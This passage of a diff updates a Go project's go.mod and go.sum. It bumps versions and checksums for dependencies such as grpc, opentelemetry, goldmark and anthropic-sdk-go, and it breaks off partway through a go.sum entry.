github.com/go-logr/logr v1.4.4 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect - github.com/go-viper/mapstructure/v2 v2.4.0 // indirect + github.com/go-viper/mapstructure/v2 v2.5.0 // indirect github.com/goccy/go-json v0.10.5 // indirect github.com/gocraft/dbr/v2 v2.7.6 // indirect github.com/gofrs/flock v0.8.1 // indirect @@ -185,7 +183,7 @@ require ( github.com/googleapis/enterprise-certificate-proxy v0.3.11 // indirect github.com/googleapis/gax-go/v2 v2.17.0 // indirect github.com/gorilla/css v1.0.1 // indirect - github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect + github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 // indirect github.com/hashicorp/golang-lru v1.0.2 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect @@ -195,12 +193,12 @@ require ( github.com/klauspost/cpuid/v2 v2.2.6 // indirect github.com/kylelemons/godebug v1.1.0 // indirect github.com/lestrrat-go/strftime v1.2.0 // indirect - github.com/lucasb-eyer/go-colorful v1.4.0 // indirect + github.com/lucasb-eyer/go-colorful v1.4.1 // indirect github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect github.com/magiconair/properties v1.8.10 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.22 // indirect - github.com/mattn/go-runewidth v0.0.23 // indirect + github.com/mattn/go-runewidth v0.0.24 // indirect github.com/microcosm-cc/bluemonday v1.0.27 github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect github.com/moby/docker-image-spec v1.3.1 // indirect @@ -248,18 +246,18 @@ require ( github.com/xitongsys/parquet-go-source v0.0.0-20240122235623-d6294584ab18 // indirect github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect github.com/xtaci/smux v1.5.56 // indirect - github.com/yuin/goldmark v1.8.5 + github.com/yuin/goldmark v1.8.6 github.com/yuin/goldmark-emoji v1.0.6 // indirect github.com/yusufpapurcu/wmi v1.2.4 // indirect github.com/zeebo/xxh3 v1.0.2 // indirect go.opentelemetry.io/auto/sdk v1.2.1 // indirect go.opentelemetry.io/contrib/detectors/gcp v1.44.0 // indirect - go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.61.0 // indirect - go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.70.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.70.0 // indirect go.opentelemetry.io/proto/otlp v1.11.0 // indirect go.uber.org/multierr v1.11.0 // indirect go.uber.org/zap v1.27.0 // indirect - go.yaml.in/yaml/v3 v3.0.4 // indirect + go.yaml.in/yaml/v3 v3.0.5 // indirect golang.org/x/crypto v0.55.0 // indirect golang.org/x/exp v0.0.0-20240205201215-2c58cdc269a3 // indirect golang.org/x/mod v0.40.0 @@ -272,10 +270,10 @@ require ( golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 // indirect google.golang.org/api v0.264.0 // indirect google.golang.org/genproto v0.0.0-20260128011058-8636f8732409 // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20260803160001-6ac0973c030d // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20260803160001-6ac0973c030d // indirect - google.golang.org/grpc v1.83.0 // indirect - google.golang.org/protobuf v1.36.11 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20260819154853-08b0e4226688 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20260819154853-08b0e4226688 // indirect + google.golang.org/grpc v1.83.1 // indirect + google.golang.org/protobuf v1.36.12 // indirect gopkg.in/go-jose/go-jose.v2 v2.6.3 // indirect gopkg.in/src-d/go-errors.v1 v1.0.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect diff --git a/go.sum b/go.sum index 6f4b3d6f3..d3dd784cc 100644 --- a/go.sum +++ b/go.sum @@ -8,8 +8,8 @@ charm.land/glamour/v2 v2.0.1 h1:xl+r00A4aJWU0z8fgwKd9fQQ4rsphqGUzuEiXZP5n+c= charm.land/glamour/v2 v2.0.1/go.mod h1:jo9z8XqVKPeEFMVdvCRLGk++RyJ3CdUwgNr7EvXLw3k= charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU= charm.land/huh/v2 v2.0.3/go.mod h1:93eEveeeqn47MwiC3tf+2atZ2l7Is88rAtmZNZ8x9Wc= -charm.land/lipgloss/v2 v2.0.5 h1:kbNxgeeUOYv5J0YdpxFjfvf3dFvqH8Aci4zB6xqFtrY= -charm.land/lipgloss/v2 v2.0.5/go.mod h1:9oqhxt4yxIMe6q5A4kHr44DremZk7J9UNh74GlWa5nc= +charm.land/lipgloss/v2 v2.0.6 h1:EaGKeuA8FvF+v2BT5VmZd2LoYLaMZJXA5n34th8nCIQ= +charm.land/lipgloss/v2 v2.0.6/go.mod h1:ipDDJNSGa1hlwDtSfW1s2/xR8Vdhbut4PXh2zEKZd0Q= cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= @@ -215,8 +215,8 @@ github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible h1:8psS8a+wKfiLt1iVDX79F github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible/go.mod h1:T/Aws4fEfogEE9v+HPhhw+CntffsBHJ8nXQCwKr0/g8= github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883 h1:bvNMNQO63//z+xNgfBlViaCIJKLlCJ6/fmUseuG0wVQ= github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883/go.mod h1:rCTlJbsFo29Kk6CurOXKm700vrz8f0KW0JNfpkRJY/8= -github.com/anthropics/anthropic-sdk-go v1.61.0 h1:JRTnm1tPqn5xo1xd1zfrcFDlcoWXVMvV1K68YmhpZKw= -github.com/anthropics/anthropic-sdk-go v1.61.0/go.mod h1:3EfIfmFqxH6rbiLcIP4tPFyXL/IHakx2wDG4OU+TIEI= +github.com/anthropics/anthropic-sdk-go v1.71.0 h1:DK9xG3s5t+xUIOp+R+1LIRjkU/wG57YyQO3630+gYOE= +github.com/anthropics/anthropic-sdk-go v1.71.0/go.mod h1:x+lPk/cCl48uRegeP0hlYYBN1b7bEBTveInIMgLicnY= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/apache/arrow/go/arrow v0.0.0-20200730104253-651201b0f516/go.mod h1:QNYViu/X0HXDHw7m3KXzWSVXIbfUvJqBFe6Gj8/pYA0= github.com/apache/arrow/go/arrow v0.0.0-20211112161151-bc219186db40 h1:q4dksr6ICHXqG5hm0ZW5IHyeEJXoIJSOZeBLmWPNeIQ= @@ -343,10 +343,10 @@ github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UF github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex9t5KX76i20Q= github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q= -github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA= -github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98= -github.com/charmbracelet/x/ansi v0.11.7 h1:kzv1kJvjg2S3r9KHo8hDdHFQLEqn4RBCb39dAYC84jI= -github.com/charmbracelet/x/ansi v0.11.7/go.mod h1:9qGpnAVYz+8ACONkZBUWPtL7lulP9No6p1epAihUZwQ= +github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 h1:rdnVWKgJpTVXKuKuJyxDJ+NFJdUaUqGvyGy61OcvlbA= +github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886/go.mod h1:nAw0d9PhFp1qdzi2xhQU5YOu5sVpDIHWlaW2Uz/bCro= +github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ= +github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0= github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs= github.com/charmbracelet/x/conpty v0.1.1/go.mod h1:OmtR77VODEFbiTzGE9G1XiRJAga6011PIm4u5fTNZpk= github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA= @@ -411,8 +411,6 @@ github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= -github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/denisbrodbeck/machineid v1.0.1 h1:geKr9qtkB876mXguW2X6TU4ZynleN6ezuMSRhl4D7AQ= github.com/denisbrodbeck/machineid v1.0.1/go.mod h1:dJUwb7PTidGDeYyUBmXZ2GphQBbjJCrnectwCyxcUSI= github.com/denisenkom/go-mssqldb v0.12.0 h1:VtrkII767ttSPNRfFekePK3sctr+joXgO58stqQbtUA= @@ -491,8 +489,8 @@ github.com/esote/minmaxheap v1.0.0/go.mod h1:Ln8+i7fS1k3PLgZI2JAo0iA1as95QnIYiGC github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= -github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= -github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= +github.com/felixge/httpsnoop v1.1.0 h1:3YtUj32ZZkqZtt3sZZsClsymw/QDuVfpNhoA31zeORc= +github.com/felixge/httpsnoop v1.1.0/go.mod h1:Zqxgdd+1Rkcz8euOqdr7lqgCRJztwr5hp9vDSi5UZCE= github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BMXYYRWTLOJKlh+lOBt6nUQgXAfB7oVIQt5cNreqSLI= github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:rZfgFAXFS/z/lEd6LJmf9HVZ1LkgYiHx5pHhV5DR16M= github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= @@ -536,12 +534,10 @@ github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= -github.com/go-openapi/jsonpointer v0.22.5 h1:8on/0Yp4uTb9f4XvTrM2+1CPrV05QPZXu+rvu2o9jcA= -github.com/go-openapi/jsonpointer v0.22.5/go.mod h1:gyUR3sCvGSWchA2sUBJGluYMbe1zazrYWIkWPjjMUY0= -github.com/go-openapi/swag/jsonname v0.25.5 h1:8p150i44rv/Drip4vWI3kGi9+4W9TdI3US3uUYSFhSo= -github.com/go-openapi/swag/jsonname v0.25.5/go.mod h1:jNqqikyiAK56uS7n8sLkdaNY/uq6+D2m2LANat09pKU= -github.com/go-openapi/testify/v2 v2.4.0 h1:8nsPrHVCWkQ4p8h1EsRVymA2XABB4OT40gcvAu+voFM= -github.com/go-openapi/testify/v2 v2.4.0/go.mod h1:HCPmvFFnheKK2BuwSA0TbbdxJ3I16pjwMkYkP4Ywn54= +github.com/go-openapi/jsonpointer v1.0.0 h1:kR9tHqY0CtZaOPVFm622dPVNhrvYpwr4uCxgL3h1H8s= +github.com/go-openapi/jsonpointer v1.0.0/go.mod h1:Z3rw7dWu1p9IgitXCFamSlA5lmDiklEB6vkaxcNZW5Y= +github.com/go-openapi/testify/v2 v2.6.0 h1:5PKH2HE7YJ/LuRPQGvSxBRlFXNQhSetBLlGAgUEu3ug= +github.com/go-openapi/testify/v2 v2.6.0/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= github.com/go-pdf/fpdf v0.6.0 h1:MlgtGIfsdMEEQJr2le6b/HNr1ZlQwxyWr77r2aj2U/8= github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= @@ -551,12 +547,12 @@ github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GO github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4= github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= -github.com/go-sql-driver/mysql v1.10.0 h1:Q+1LV8DkHJvSYAdR83XzuhDaTykuDx0l6fkXxoWCWfw= -github.com/go-sql-driver/mysql v1.10.0/go.mod h1:M+cqaI7+xxXGG9swrdeUIoPG3Y3KCkF0pZej+SK+nWk= +github.com/go-sql-driver/mysql v1.10.1 h1:arlSnNLq6a5yxGxV7qg9lF4j0C+KwD6NbQyKr9QL6ME= +github.com/go-sql-driver/mysql v1.10.1/go.mod h1:M+cqaI7+xxXGG9swrdeUIoPG3Y3KCkF0pZej+SK+nWk= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= -github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs= -github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= +github.com/go-viper/mapstructure/v2 v2.5.0 h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro= +github.com/go-viper/mapstructure/v2 v2.5.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo= github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM= @@ -706,8 +702,8 @@ github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/ad github.com/gowebpki/jcs v1.0.1 h1:Qjzg8EOkrOTuWP7DqQ1FbYtcpEbeTzUoTN9bptp8FOU= github.com/gowebpki/jcs v1.0.1/go.mod h1:CID1cNZ+sHp1CCpAR8mPf6QRtagFBgPJE0FCUQ6+BrI= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0/go.mod h1:Hyl3n6Twe1hvtd9XUXDec4pTvgMSEixRuQKPTMH2bNs= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 h1:/Tnpcb2E0Pz/tN9s3bfEY2Q8ePCEX9iuS+cneUwncnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0/go.mod h1:zOBXOsUaBSjKgmH4OGzV1esUpR3oUSCPYVd2cUBjKYY= github.com/hanwen/go-fuse v1.0.0/go.mod h1:unqXarDXqzAk0rt98O2tVndEPIpUgLD9+rwFisZH3Ok= github.com/hanwen/go-fuse/v2 v2.1.0/go.mod h1:oRyA5eK+pvJyv5otpO/DgccS8y/RvYMaO00GgRLGryc= github.com/hashicorp/go-uuid v0.0.0-20180228145832-27454136f036/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= @@ -828,8 +824,8 @@ github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.4/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.7 h1:p7ZhMD+KsSRozJr34udlUrhboJwWAgCg34+/ZZNvZZw= github.com/lib/pq v1.10.7/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4= -github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= +github.com/lucasb-eyer/go-colorful v1.4.1 h1:1EO+WB73+EH8EVbzlrG3KLAfEypQWVHIBqlTf+2hNss= +github.com/lucasb-eyer/go-colorful v1.4.1/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4= github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE= @@ -847,10 +843,10 @@ github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Ky github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.22 h1:j8l17JJ9i6VGPUFUYoTUKPSgKe/83EYU2zBC7YNKMw4= github.com/mattn/go-isatty v0.0.22/go.mod h1:ZXfXG4SQHsB/w3ZeOYbR0PrPwLy+n6xiMrJlRFqopa4= -github.com/mattn/go-runewidth v0.0.23 h1:7ykA0T0jkPpzSvMS5i9uoNn2Xy3R383f9HDx3RybWcw= -github.com/mattn/go-runewidth v0.0.23/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= -github.com/mattn/go-sqlite3 v1.14.49 h1:B8jBHC3xhxZgxztrgruTuLucebnULQnx4W7cF7SAE9w= -github.com/mattn/go-sqlite3 v1.14.49/go.mod h1:6JTjA44L93a0QCyJef5YvlPoKXntQPjzWv5gtm9sB6w= +github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU= +github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= +github.com/mattn/go-sqlite3 v1.14.52 h1:wVbm2Qnf4OXkqhBTSPuCRZDRnxfbVrrmiCEroVdog8U= +github.com/mattn/go-sqlite3 v1.14.52/go.mod h1:6JTjA44L93a0QCyJef5YvlPoKXntQPjzWv5gtm9sB6w= github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA= github.com/minio/md5-simd v1.1.2/go.mod h1:MzdKDxYpY2BT9XQFocsiZf/NKVtR7nkE4RoEpN+20RM= @@ -1041,8 +1037,8 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= -github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= +github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= github.com/tealeg/xlsx v1.0.5 h1:+f8oFmvY8Gw1iUXzPk+kz+4GpbDZPK1FhPiQRd+ypgE= @@ -1090,8 +1086,8 @@ github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -github.com/yuin/goldmark v1.8.5 h1:r6N5afV5qj/5S4UTch8agZHJ8UxNCMwX7WjkkJam2NA= -github.com/yuin/goldmark v1.8.5/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg= +github.com/yuin/goldmark v1.8.6 h1:d0VcaP1sx9GkFVkoW+KtggpGi2KZ965i14b0+bDQST4= +github.com/yuin/goldmark v1.8.6/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg= github.com/yuin/goldmark-emoji v1.0.6 h1:QWfF2FYaXwL74tfGOW5izeiZepUDroDJfWubQI9HTHs= github.com/yuin/goldmark-emoji v1.0.6/go.mod h1:ukxJDKFpdFb5x0a5HqbdlcKtebh086iJpI31LTKmWuA= github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= @@ -1115,28 +1111,28 @@ go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= go.opentelemetry.io/contrib/detectors/gcp v1.44.0 h1:NmLfL734pJhM0JKaYd2Y28+nY9dPRWYAAbxhRCrKXPw= go.opentelemetry.io/contrib/detectors/gcp v1.44.0/go.mod h1:tNAsgd8avTGke1+MndXlU5Cru4PQ9Ai/cCNWQv/ZJ/s= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.61.0 h1:q4XOmH/0opmeuJtPsbFNivyl7bCt7yRBbeEm2sC/XtQ= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.61.0/go.mod h1:snMWehoOh2wsEwnvvwtDyFCxVeDAODenXHtn5vzrKjo= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0 h1:F7Jx+6hwnZ41NSFTO5q4LYDtJRXBf2PD0rNBkeB/lus= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.61.0/go.mod h1:UHB22Z8QsdRDrnAtX4PntOl36ajSxcdUMt1sF7Y6E7Q= -go.opentelemetry.io/otel v1.45.0 h1:pdrWmLHofpubmArBv1LgFSv1Z0Ie/ppdZzu+kUN5EeU= -go.opentelemetry.io/otel v1.45.0/go.mod h1:XZxIqPapzEYnhNSScF5DIqXhm/rYi0FzCe2XddAwZfQ= -go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.45.0 h1:pnxy6c/kvNBWdNNFzqpjuJLm9Hjhgk/Q0nY221rwuk0= -go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.45.0/go.mod h1:qw6YsFapotRwoDhXRZvljzaOvCQB7UfnafEJagpN2TA= -go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.45.0 h1:dm9iyzn6tioYZtwqaiBSU0TSI8Yu/8dTIbfG0+B49DY= -go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.45.0/go.mod h1:xAvxYjYK28qvt+yu4BYZ/zMmAjwMXINXD6JiMyeB8iI= -go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.45.0 h1:lsA/S1bxgdbyFGkTj+3meEdJ6ADVU7QoFstV6MXgE68= -go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.45.0/go.mod h1:L7u+MirGoB1bjeLH66+xDykF4RC8C3RN7lIFpBiewUo= -go.opentelemetry.io/otel/metric v1.45.0 h1:7Eg1uH7CJ5cXv9is6tnBe1FI6rj1nwUdbFypRm3br/M= -go.opentelemetry.io/otel/metric v1.45.0/go.mod h1:HAPbm1nd3p1PmFH7v2dR+6BjXxw+Lq4a2+pndMAm08s= -go.opentelemetry.io/otel/metric/x v0.67.0 h1:PcicCNZFkZ4bXfSooXdo3WN7RBOVOtjVdo1wD358Uns= -go.opentelemetry.io/otel/metric/x v0.67.0/go.mod h1:FBjCWZe6wgcqxcMtjdGiClDKXb2YxxXii0CXftE4QtI= -go.opentelemetry.io/otel/sdk v1.45.0 h1:4VVSMgQ83dUgW2aoX5f6JgLvHwIvzcuLnF9lUdCSpCw= -go.opentelemetry.io/otel/sdk v1.45.0/go.mod h1:Sr40LgXV7DsKMMJMKOhUWOgMWTfAaqvm2kF0g7ilwuA= -go.opentelemetry.io/otel/sdk/metric v1.45.0 h1:oVFszMfyj1Am6s24Vtc7wBb8BKLcwepJjNEYILuiE3o= -go.opentelemetry.io/otel/sdk/metric v1.45.0/go.mod h1:vUWUxDZvu1WVRj8JA8S0AdhsPrZoDpA2DdZauIh4mDA= -go.opentelemetry.io/otel/trace v1.45.0 h1:l/mP6Uv7oNO7/TblbhpbgMidxhq1uO/rPsikOyVhxag= -go.opentelemetry.io/otel/trace v1.45.0/go.mod h1:qoJJA2xNMnxRrdISU/kLtfUH2wNeQbiv+jhs/CxI8bc= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.70.0 h1:oECp5f+hN7nkwjU/8BxQ/q23bGPb8FIrD839owX222E= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.70.0/go.mod 